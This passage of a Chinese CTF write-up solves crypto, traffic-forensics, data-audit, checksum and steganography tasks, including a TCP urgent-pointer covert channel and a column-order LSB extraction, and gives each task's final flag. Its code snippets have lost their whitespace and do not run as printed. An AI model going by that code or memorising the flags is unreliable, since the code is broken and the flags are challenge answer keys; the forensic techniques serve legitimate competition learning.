importreTR = {"乾":0x4E7E,"兑":0x5151,"离":0x79BB,"震":0x9707,"巽":0x5DFD,"坎":0x574E,"艮":0x826E,"坤":0x5764}NAME = {str(v): kfork, vinTR.items()}BIT = {"乾":"111","兑":"011","离":"101","震":"001","巽":"110","坎":"010","艮":"100","坤":"000"}FIX = {"退":9,"送":9,"芮":7,"队":4,"邓":4,"做":7}stroke = {}forlineinopen("Unihan_IRGSources.txt", encoding="utf-8"):m = re.match(r"^U+([0-9A-F]+)\tkTotalStrokes\t(\d+)", line)ifm:stroke[chr(int(m.group(1),16))] = int(m.group(2))text = open("题干.txt", encoding="utf-8").read()groups = max(text.splitlines(), key=lambdal: l.count(" ")).split()seq = [NAME["".join(str((FIX[c]ifcinFIXelsestroke[c]) -1)forcing)]forgingroups]bits ="".join(BIT[n]forninseq)print(len(groups))print("".join(chr(int(bits[i:i +9],2))foriinrange(0, len(bits),9)))5. 运行结果
72flag{mangrenbiaopan_123}6. 小结
本题把数字写进笔画,再把码点写成卦名,最后把卦名拆成3bit,层层都可逆。破题靠两个常量:五字分组与生僻字聚集;收尾靠已知前缀锁定比特映射。涉及汉字笔画的题目必须先统一口径,辶、艹、阝这类部首在康熙与大陆规范下并不相同。
最终flag
flag{mangrenbiaopan_123}
任务24|维吉凯撒:文件名作密钥的两级移位
附件:数据加密之维吉凯撒.zip(CONGRATS.txt)
- 基本情况
附件只有一个文本文件,文件名CONGRATS.txt,正文给出密文mesr{997a9k414dx8m4061u74v15m1y32201k},要求还原flag。题名同时点出维吉尼亚与凯撒两种移位密码,暗示需要连做两层。花括号内是32位十六进制样式串,很容易被误认为MD5摘要而转向碰撞或彩虹表;实际上数字与花括号全程未参与变换,字母只是被两次移位,没有任何摘要运算。
- 关键突破
第一层的密钥直接来自文件名:CONGRATS。按a=0、b=1、…、z=25编号,每个密文字母减去对应密钥字母再模26;密钥只在遇到字母时推进,数字、花括号等非字母原样保留且不消耗密钥。前四个字母即可验证:m减2得k,e减14得q,s减13得f,r减6得l,前缀已现kqfl。常见错误是让密钥对每个字符都推进,或把数字也代入移位,这样长度虽对,后续字母会整体错位。完整第一层结果为kqfl{997j9k414kf8k4061g74i15g1h32201k}。密钥长度为8,而密文字母远多于8个,必然循环使用;统一转小写只是为了取模方便,输出时仍按原字符的大小写还原,避免把flag正文中的小写字母误改。
第二层不需要额外密钥。第一层前缀kqfl与flag逐位相差5,k到f、q到l、f到a、l到g在模26下完全一致,说明是整段凯撒左移5位。对第一层的所有字母执行减5,数字和花括号保持不变,即得最终结果。花括号内的32位十六进制只是flag正文,并未经过哈希,也不存在需要爆破的原像;把它当摘要处理会完全偏离题目。
两层的关系还可以用长度校验:密文与第一层等长,第一层与flag等长,只有字母的值改变,位置与标点都不动。两层的字母移位都是模26加法,交换顺序并不影响最终结果;按题名先做维吉尼亚,可以在中间结果直接看到kqfl前缀,更容易判断第二层是凯撒减5。
- 利用/还原思路
读取CONGRATS.txt正文,去掉空白得到密文;取文件名去掉扩展名作为密钥并转小写。
逐个扫描字符,只有字母进入维吉尼亚运算,密钥下标仅在字母处递增。
按(密文-密钥+26)%26求值,保留原字母大小写,其余字符直接复制。
输出第一层结果,确认前缀为kqfl且长度不变。
对第一层的每个字母再做凯撒减5,非字母保持原样。
用断言核对第一层与最终结果,排除手工抄写误差。
- 复现脚本
ct ="mesr{997a9k414dx8m4061u74v15m1y32201k}"key ="CONGRATS".lower()defshift(ch, k):base = ord("a")ifch.islower()elseord("A")returnchr((ord(ch) - base + k) %26+ base)defvigenere(s, key):out, i = [],0forchins:ifch.isalpha():out.append(shift(ch, -(ord(key[i % len(key)]) -97)))i +=1else:out.append(ch)return"".join(out)stage1 = vigenere(ct, key)flag ="".join(shift(c,-5)ifc.isalpha()elsecforcinstage1)print("stage1", stage1)print("flag ", flag)assertstage1 =="kqfl{997j9k414kf8k4061g74i15g1h32201k}"assertflag =="flag{997e9f414fa8f4061b74d15b1c32201f}"5. 运行结果
stage1 kqfl{997j9k414kf8k4061g74i15g1h32201k}flag flag{997e9f414fa8f4061b74d15b1c32201f}6. 小结
文件名与题名都是元数据线索,前者给出密钥,后者给出算法与顺序。处理维吉尼亚时务必区分“字母才消耗密钥”,否则整段错位;处理凯撒时只改字母、不动数字与标点。十六进制外观只是干扰,看到它就去做摘要破解反而会绕远路。
最终flag
flag{997e9f414fa8f4061b74d15b1c32201f}
任务25|TCP紧急指针:28个ASCII码的头部隐写
附件:数据流量分析之TCP分析.zip(题干.txt、TCP-urgent-pointer.pcapng)
- 基本情况
抓包共4038帧,除工业控制协议流量外还有多条TCP会话。题干说明线索都在流量里,flag格式为flag{}。文件名中的urgent-pointer直接指向TCP头部的紧急指针字段:URG置位时,这个16位字段本应标识紧急数据的位置,本题却把它当作ASCII码通道。每帧载荷为空并不等于没有信息,秘密写在报文头里,常规的“追踪TCP流”看不到任何内容。
- 关键突破
用显示过滤器tcp.flags.urg == 1筛选,命中集中在tcp.stream == 4:源地址192.168.0.176的20端口,目的地址192.168.0.1的80端口,共28帧,全部带URG与ACK标志,且每帧tcp.len == 0。没有应用层载荷,追踪流自然为空,但28帧的tcp.urgent_pointer都落在可打印ASCII范围,且随字符变化:帧1285为90,对应Z;帧1377为109,对应m;帧1471为120,对应x;帧1559为104,对应h;帧3602为61,对应等号。字符集与大写小写混排的形态已经很像Base64。
把28个值按抓包顺序当作ASCII码拼接,得到ZmxhZ3tjaDIycjVfZjByX3kwdX0=。这是28个字符、含一个填充等号的合法Base64串,解码后为20字节的flag{ch22r5_f0r_y0u},长度与内容都自洽。至此可以确认:发送方把flag的Base64文本逐字符拆成ASCII码,依次写进紧急指针字段,接收方只需按序读取该头部字段即可复原,完全不需要TCP载荷。
顺序是本题最容易踩的坑。紧急指针的数值大小与字符先后无关,帧号才代表顺序;若按指针值排序、按字符串排序,或导出后交给无序并行的处理流程,Base64串会被打乱,解码要么报错要么得到乱码。应以frame.number升序输出,或直接依赖tshark按抓包顺序返回字段。过滤条件也必须带URG置位,因为URG为0时该字段可能保留旧值或被协议栈清零,不能当作有效数据。
从协议结构看,URG标志只占1bit,紧急指针占2字节,位于TCP头第18至19字节,只有URG置位时才被解释。现代协议栈很少使用这一机制,不少实现甚至直接忽略,因此它天然适合做低调信道:不增加载荷、不改变握手与端口,抓包里只是普通短报文。本题又把它混在20端口到80端口的工业控制背景流量中,不主动过滤URG很难发现。检测时可统计该字段的取值分布,正常通信通常恒为0,一旦大量非零且集中在可打印ASCII范围,就应怀疑头部隐写。
- 利用/还原思路
打开pcapng,先统计协议分层与会话数量,依据文件名提示把注意力放到TCP头部。
应用tcp.flags.urg == 1,核对流号、源目的地址、帧数与tcp.len,确认28帧同属一个会话。
导出frame.number与tcp.urgent_pointer两列,保持抓包顺序,不做任何排序。
将每个指针值视为ASCII码拼成字符串,检查字符集与末尾填充是否符合Base64。
对字符串做Base64解码,得到flag。
用帧号首尾与帧数复核,确保没有混入其他流的URG报文。
- 复现脚本
tshark -r TCP-urgent-pointer.pcapng -Y'tcp.flags.urg == 1'-T fields -e frame.number -e tcp.urgent_pointer |python -c"import sys, base64rows = [line.split('\t') for line in sys.stdin if line.strip()]data = bytes(int(r[1]) for r in rows)print(len(rows), rows[0][0], rows[-1][0])print(data.decode())print(base64.b64decode(data).decode())"5. 运行结果
28 1285 3602ZmxhZ3tjaDIycjVfZjByX3kwdX0=flag{ch22r5_f0r_y0u}6. 小结
空载荷不代表空信道,协议头中语义明确、平时很少被检查的字段同样可以承载数据。分析时先用过滤器缩小范围,再核对会话与长度,最后严格按帧序提取;任何一次重排都会让这类逐字符隐写失效。
最终flag
flag{ch22r5_f0r_y0u}
任务26|四维条件审计:冗余项与月份众数
附件:accounts_hard3.csv、题干.docx
- 基本情况
accounts_hard3.csv共10000行,五列分别为Username、CreatedAt、LastUsedAt、Status、ExpiryDate,用户名从user1到user10000连续无缺号,状态分布为Active 3582、Inactive 3192、Deleted 3226。题面要求同时满足四条:创建于2023年;最后使用落在2024年第一季度;以2024-06-15为基准超期超过60天;状态始终为Active。提交格式为flag{数量_最后使用月份众数_MD5(数量)},其中MD5的输入是“数量”本身的十进制字符串。四条条件并列书写,很像四个互相独立的维度,但逐条统计通过率后会发现,其中两条在本数据集上不筛掉任何记录。
- 关键突破
把四条条件按题面顺序串成筛选链,每一步都打印剩余行数,得到10000→10000→2207→2207→1034。第一步就暴露了问题:全部10000条记录的CreatedAt都落在2023年,条件1恒真;叠加Q1约束后剩2207条;再要求“距2024-06-15超过60天”,行数仍是2207,条件3同样恒真;最后按Status过滤才降到1034。名义上的四维复合检测,实际有效维度只有两个:LastUsedAt落在2024年第一季度、Status为Active。
条件3恒真并非巧合。数据中LastUsedAt总在ExpiryDate之后1至60天,Q1内LastUsedAt最晚为2024-03-31,对应筛选集内ExpiryDate最大值为2024-03-30,距基准日已有77天,天然越过60天线。把阈值依次放宽到0天、30天、60天、76天,结果都停在1034;直到收紧到90天才变为1006。这条条件在很宽的区间内都没有区分度,属于典型的审计冗余项,用来检验解题者是否逐条核验,而不是按“四个条件”去想象数据规模。
另一处岔路是逻辑异常记录:全表有536行ExpiryDate早于CreatedAt。三列日期独立随机生成时,这类矛盾的出现率约5.4%,与实测占比吻合,筛选集内的比例也与全局接近,说明是随机混入而非定向构造,题面同样没有要求清洗。若额外剔除筛选集内的16行,数量会变成1018、众数变成3,正好落进错误答案。按字面四条执行,才与出题口径一致。
精确过滤器因此可以压缩为两条:LastUsedAt落在2024-01-01至2024-03-31之间,且Status为Active。另两条留在代码里只作自检,不再承担筛选职责;这样既复现了1034,也能一眼看出哪些条件在陪跑。
- 利用/还原思路
以utf-8-sig读入CSV,剥离BOM,避免首列名被解析成带\ufeff前缀的字段而取值为空。
将CreatedAt、LastUsedAt、ExpiryDate统一转为日期类型,基准日固定为2024-06-15。
按题面顺序逐条累加布尔条件,并打印每步剩余行数,用10000→10000→2207→2207→1034这条链确认前两条条件的冗余性。
保留全部四条条件做最终筛选,得到1034行;冗余条件不影响结果,但保留它们能让筛选过程与题面逐字对应。
对这1034行的LastUsedAt取月份,统计得1月348、2月340、3月346,最大值唯一,众数为1;若出现并列则取最小月份。
将数量1034转为十进制字符串,做MD5得bdb106a0560c4e46ccc488ef010af787,再按“数量_众数_MD5”拼接并套上flag{}。
- 复现脚本
importhashlibimportpandasaspddf = pd.read_csv("accounts_hard3.csv", encoding="utf-8-sig")forcin("CreatedAt","LastUsedAt","ExpiryDate"):df[c] = pd.to_datetime(df[c])base = pd.Timestamp("2024-06-15")q1 = df["LastUsedAt"].between("2024-01-01","2024-03-31")over = (base - df["ExpiryDate"]).dt.days >60print("created2023", (df["CreatedAt"].dt.year ==2023).sum())print("q1", q1.sum())print("q1&overdue60", (q1 & over).sum())sel = df[(df["CreatedAt"].dt.year ==2023) & q1 & over & (df["Status"] =="Active")]n = len(sel)months = sel["LastUsedAt"].dt.month.value_counts().sort_index()mode = int(months.idxmax())digest = hashlib.md5(str(n).encode()).hexdigest()print("selected", n)print("months", months.to_dict())print("mode", mode,"| md5", digest)print("flag{%d_%d_%s}"% (n, mode, digest))5. 运行结果
created2023 10000q1 2207q1&overdue60 2207selected 1034months {1: 348, 2: 340, 3: 346}mode 1 | md5 bdb106a0560c4e46ccc488ef010af787flag{1034_1_bdb106a0560c4e46ccc488ef010af787}6. 小结
多条件题不等于多维有效:先把每条条件单独跑一遍通过率,再决定信任哪几条。众数要先确认是否并列,本题348唯一最大,不存在歧义。MD5的输入必须与题面严格一致,这里是数量的十进制串,不带前缀、不补零、不带换行,输出取32位小写十六进制。
最终flag
flag{1034_1_bdb106a0560c4e46ccc488ef010af787}
任务27|时间窗口检测:月末累计快照
附件:accounts_medium3.csv、题干.docx
- 基本情况
题干只有一句话:检测2024年第二季度(4—6月)各月超期的活跃账号数量,按“月-数量”格式提交,示例为flag04-123405-2345|06-3456。accounts_medium3.csv共10000行,五列分别是Username、CreatedAt、LastUsedAt、Status、ExpiryDate,状态分布为Active 5082、Inactive 2476、Deleted 2442,ExpiryDate跨度从2023-01-04到2025-04-29。题面既没有给出统计基准日,也没有说明“超期”是持续状态还是当月事件,而这两种理解会导出方向完全相反的数列。
- 关键突破
两种读法都能自圆其说。口径A是累计快照:以各月月末为统计时点,取Status为Active且ExpiryDate不晚于该月末的账号,含义是“截至月末仍处于超期状态的活跃账号”。超期是持续态,4月末的集合必然包含于5月末,5月末又包含于6月末,所以数量应逐月不减。口径B是当月事件:只统计ExpiryDate恰好落在当月的活跃账号,即“当月新增超期”,数量会随到期高峰过去而快速衰减。
实测两组数:A为4201、4336、4456,单调上升;B为2596、135、120,断崖式下降。题面示例给的是1234、2345、3456,逐月递增;题名“时间窗口检测”强调在一条时间轴上滑动取累计值,而不是按月分组计数。示例的单调趋势与题名的语义指向同一口径,因此采用A,B仅作为对照保留在分析记录里。
还有两个细节必须固定。其一是状态时点:CSV只保存当前Status,没有状态变更历史,所以“4月末为Active”只能用“当前为Active”近似,这是数据能支持的唯一口径,也与累计数列的单调性相容。其二是边界:ExpiryDate等于月末当天应视为已经到期,判断用小于等于而非严格小于,否则会漏掉月末当日到期的账号,三个月的计数都会偏低。
另有一条容易多算的条件是LastUsedAt。题面问的是“超期的活跃账号”,并未要求账号在当月使用过,若把“最后使用时间落在当月”也加进过滤,就把状态统计变成了活跃度统计,与示例的递增形态不符。本题的判定只涉及Status与ExpiryDate两个字段,CreatedAt与LastUsedAt均不参与。
数据本身几乎没有干扰项:Username无重复,三列日期均可正常解析,无缺列与空值,因此不需要任何清洗步骤。口径一旦确定,代码只剩“按状态过滤、按月末比较、按格式拼接”三件事。
- 利用/还原思路
以utf-8-sig读取CSV,确认表头五列、行数10000,日期列格式统一为YYYY-MM-DD。
先按Status为Active筛出5082个候选,Inactive与Deleted直接排除,后续不再参与计算。
为4、5、6月分别设定月末2024-04-30、2024-05-31、2024-06-30,作为三个统计时点。
对每个月末统计ExpiryDate小于等于该日期的候选数,得到截至该月末的累计超期活跃账号数。
另算“ExpiryDate落在当月”的当月新增数作为对照,确认其递减趋势与题面示例相反后放弃该口径。
按04、05、06的顺序以竖线拼接三个计数,套上flag{}输出。
- 复现脚本
importcsvfromdatetimeimportdaterows = list(csv.DictReader(open("accounts_medium3.csv", encoding="utf-8-sig")))active = [rforrinrowsifr["Status"] =="Active"]ends = {"04": date(2024,4,30),"05": date(2024,5,31),"06": date(2024,6,30)}counts = {}form, endinends.items():counts[m] = sum(1forrinactiveifdate.fromisoformat(r["ExpiryDate"]) <= end)print("rows", len(rows),"active", len(active))formin("04","05","06"):print(f"{m}-{counts[m]}")print("flag{"+"|".join(f"{m}-{counts[m]}"formin("04","05","06")) +"}")5. 运行结果
rows 10000 active 508204-420105-433606-4456flag{04-4201|05-4336|06-4456}6. 小结
时间窗口题的胜负手是口径而非代码:先判断指标是时点状态还是区间事件,再用题面示例的单调性做交叉验证。本题只有累计快照能同时满足“逐月递增”和“窗口”两个语义,当月新增的2596、135、120与示例形态明显冲突。状态字段没有历史时,用当前值近似并明示这一假设,比强行引入CreatedAt或LastUsedAt更接近出题意图。落地时直接把月末写成2024-04-30、2024-05-31、2024-06-30,比用自然月天数推算更不容易在大小月上出错。
最终flag
flag{04-4201|05-4336|06-4456}任务29|分块校验:首尾块CRC32与整体SM3
附件:任务29.zip(large2.bin、题干.doc)
- 基本情况
题干只有一句有效信息:对10MB文件计算首块的CRC32、尾块的CRC32以及整体SM3,按flag{首部CRC32...尾部CRC32~整体SM3}提交。附件large2.bin为高熵二进制,长度精确为10,485,760字节,除此之外没有给出块大小、分块数量或任何样例值。CRC32是对一段连续字节求值,块长一变结果立刻不同,因此本题的核心不是密码分析,而是把题干里的“块”还原成确定的工程定义,再保证字符串形态与模板完全一致。
- 关键突破
10,485,760=10×1,048,576=10×2^20,恰好可被1MiB整除为10块。若把10MB理解为十进制10,000,000字节,则既不能整除,也无法让“首块/尾块”具有对称语义;按1MiB切分得到B01至B10,首块为data[:1048576],尾块为data[-1048576:]。2的幂块长也符合固件与镜像分块校验的惯例,便于页对齐和随机索引。因此题干中的10MB实为10MiB,块长为1MiB,只有首、尾两块参与CRC32,全部10MiB参与SM3。
CRC32采用IEEE 802.3反射多项式0xEDB88320,初值与结果异或均为0xFFFFFFFF,zlib.crc32与标准一致,返回值是32位无符号整数。整数的十六进制字符串有两种形态:定宽8位的format(crc,"08x")与自然形态的format(crc,"x")。首块CRC32为fa00b72d,恰好8位,两种写法没有差别,歧义被掩盖;尾块真实值为0x094E8903,若补零写成094e8903,平台即判错,按整数默认形态去掉前导零才是94e8903。这个前导零是本题最容易丢分的一处,也说明模板里的“CRC32”指的是数值而非定宽字段。
第三段是整体SM3,作用于完整文件,而不是逐块求摘要再拼接。SM3由GB/T 32905-2016定义,输出256位,512位分组、64轮迭代,hashlib.new("sm3")经OpenSSL提供;它与SHA-256输出等长但结构不同,互相替换必然得到错误结果。三段之间的...与~是字面分隔符,需要原样保留,CRC32与SM3统一小写十六进制。题目只要首、尾两块,把B01至B10的CRC全部拼接会直接判错。从设计意图看,首尾CRC32用于以极低成本发现截断、封装损坏或元数据改动,而整体SM3已覆盖全部字节,逐块CRC不再增加安全强度,模板也只预留两个CRC字段,因此中间八块无需计算。
数值可用两条独立路径互证:openssl dgst -sm3复核摘要,按0xEDB88320自建查表复核CRC32;脚本内再断言文件长度等于10<<20,可同时防止附件被替换和块长取错。
- 利用/还原思路
读入large2.bin,断言长度等于10<<20,据此确定块长1<<20,共10块。
对data[:BLK]与data[-BLK:]分别调用zlib.crc32,结果与0xFFFFFFFF相与,保证按无符号32位解释。
同一数值分别以%08x和%x打印,前者核对是否为0x094E8903,后者直接用于拼装,避免手写补零。
用hashlib.new("sm3",data).hexdigest()对整文件求摘要,并检查长度为64。
按flag{首...尾~sm3}拼接,分隔符用字面量,全部小写。
用openssl dgst -sm3交叉验证第三段,确认不是库差异或大小写问题。
- 复现脚本
fromhashlibimportnewfrompathlibimportPathfromzlibimportcrc32data = Path("large2.bin").read_bytes()BLK =1<<20assertlen(data) ==10* BLKhead = crc32(data[:BLK]) &0xFFFFFFFFtail = crc32(data[-BLK:]) &0xFFFFFFFFsm3 = new("sm3", data).hexdigest()print("size %d = %d x 1MiB"% (len(data), len(data) // BLK))print("head %08x -> %x"% (head, head))print("tail %08x -> %x"% (tail, tail))print("sm3 %s (%d)"% (sm3, len(sm3)))print("flag{%x...%x~%s}"% (head, tail, sm3))5. 运行结果
size 10485760 = 10 x 1MiBhead fa00b72d -> fa00b72dtail 094e8903 -> 94e8903sm3 d60f1850b090436d8d12726e7289e60afd3104cf57e701c38cf3efb526d2f103 (64)flag{fa00b72d...94e8903~d60f1850b090436d8d12726e7289e60afd3104cf57e701c38cf3efb526d2f103}6. 小结
本题不考密码分析,考的是工程语义的精确落地:由文件长度反推1MiB块,区分“最后1MiB”与“第10个1MB”,区分CRC32的整数值与定宽字符串。CRC32只承担快速检错,SM3承担抗篡改,首尾粗筛加整体精验,正是固件分发与设备OTA中常见的分层校验设计。
最终flag
flag{fa00b72d...94e8903~d60f1850b090436d8d12726e7289e60afd3104cf57e701c38cf3efb526d2f103}
任务30|进阶LSB:列优先写入的位平面隐写
附件:任务30.zip(1-2-2.png、题干.txt)
- 基本情况
附件1-2-2.png为720×720、8位通道、color type 2的24位RGB图像,含13个标准IDAT块,无tEXt、zTXt等文本块,文件尾也没有附加数据;解压后的扫描行长度与滤波类型均在正常范围,说明载荷不在容器层,而在像素低位。题干称图片最低有效位隐藏了一段文本,提取后还需解密,提交flag{隐藏信息}。按常规“逐行、R→G→B、bit0、MSB在前”提取得到的却是噪声,说明写入端与读取端的遍历顺序并不一致。
- 关键突破
LSB隐写本身没有密钥,可变的只有“把三维像素摊平成一维比特流”的约定:先沿哪个轴推进、每个像素按什么通道次序取位、取第几个位平面、组字节时高位在前还是低位在前。常规工具默认行优先,即固定y、沿x推进,每像素依次取R、G、B的bit0;本题写入端以x为外层、y为内层,先自上而下取完整一列,再移到下一列。两种顺序互为转置,按行去读按列写入的数据,字节边界全部错位,结果自然接近随机。
位平面图也难以直接判断:三个通道的bit0统计都接近均匀,肉眼看不到明文轮廓,只能枚举候选再评分。固定bit0与MSB在前,枚举行优先/列优先、通道排列与位平面,对每种组合取前128字节,用“最长连续可打印串”打分。行优先最长只有6字节,列优先在偏移0处即出现16字节的bHNiX2lzX25pY2U=,分值出现明显断层;若只看可打印字符比例,两者差距不大,容易被图像噪声误导。
这16字节不是偶然命中。Base64以4字符为一组对应3字节,16字符正好是4个完整组;解码得到11字节lsb_is_nice,末组仅2字节,故以一个=收尾。字符串自带边界:第17字节为0x00,其后是0x8e 0x3b等自然图像噪声。因此16字节既是Base64的完整量化边界,也是载荷的结束位置,不需要猜长度。反过来,16字节等于128个比特,在列优先流中要跨43个像素读取,并不落在任何行边界上,这正是行优先提取失败的根本原因。
- 利用/还原思路
用PIL以RGB模式打开图像并转为uint8数组,形状为(720,720,3),确认没有alpha通道干扰。
用transpose(1,0,2)交换x、y轴,使数组按C顺序展平后等于“列优先、列内自上而下”的写入顺序。
展平后与1相与取bit0,用np.packbits按MSB在前每8位打包,得到候选字节流。
分别打印行优先与列优先的前20字节,识别Base64字符集与结尾的=。
对两种顺序计算最长可打印串长度,确认16对6的断层,排除随机命中。
截取前16字节做Base64解码,得lsb_is_nice,套上flag{}提交。
- 复现脚本
importbase64importnumpyasnpfromPILimportImageimg = np.asarray(Image.open("1-2-2.png").convert("RGB"), dtype=np.uint8)defextract(a):returnnp.packbits((a.reshape(-1) &1).astype(np.uint8)).tobytes()defscore(raw):best = cur =0forcinraw[:128]:cur = cur +1if32<= c <127else0best = max(best, cur)returnbestforname, arrin(("row", img), ("col", img.transpose(1,0,2))):raw = extract(arr)print("%s score=%2d %s"% (name, score(raw), raw[:20]))b64 = extract(img.transpose(1,0,2))[:16].decode("ascii")plain = base64.b64decode(b64).decode()print("payload %s -> %s"% (b64, plain))print("flag{%s}"% plain)5. 运行结果
row score= 6 b"i[RI[U\xc7\x13\xb1'\x1d\xb1$\xe3\xb6\xc7\x12Ki$"col score=16 b'bHNiX2lzX25pY2U=\x00\x8e;l'payload bHNiX2lzX25pY2U= -> lsb_is_niceflag{lsb_is_nice}6. 小结
“进阶”不在LSB算法,而在遍历顺序这一隐式约定:同一批像素,行优先与列优先给出完全不同的比特流。稳妥做法是固定位平面后枚举顺序与通道排列,用连续可打印串长度评分,并借助Base64的4字符量化与=填充确定载荷边界,而不是凭肉眼观察位平面图。
最终flag
flag{lsb_is_nice}
写在最后
神人比赛神人平台。一会500internalerror,一会无法访问。
也不知道什么安全策略
image
其他的懒得喷,懂得都懂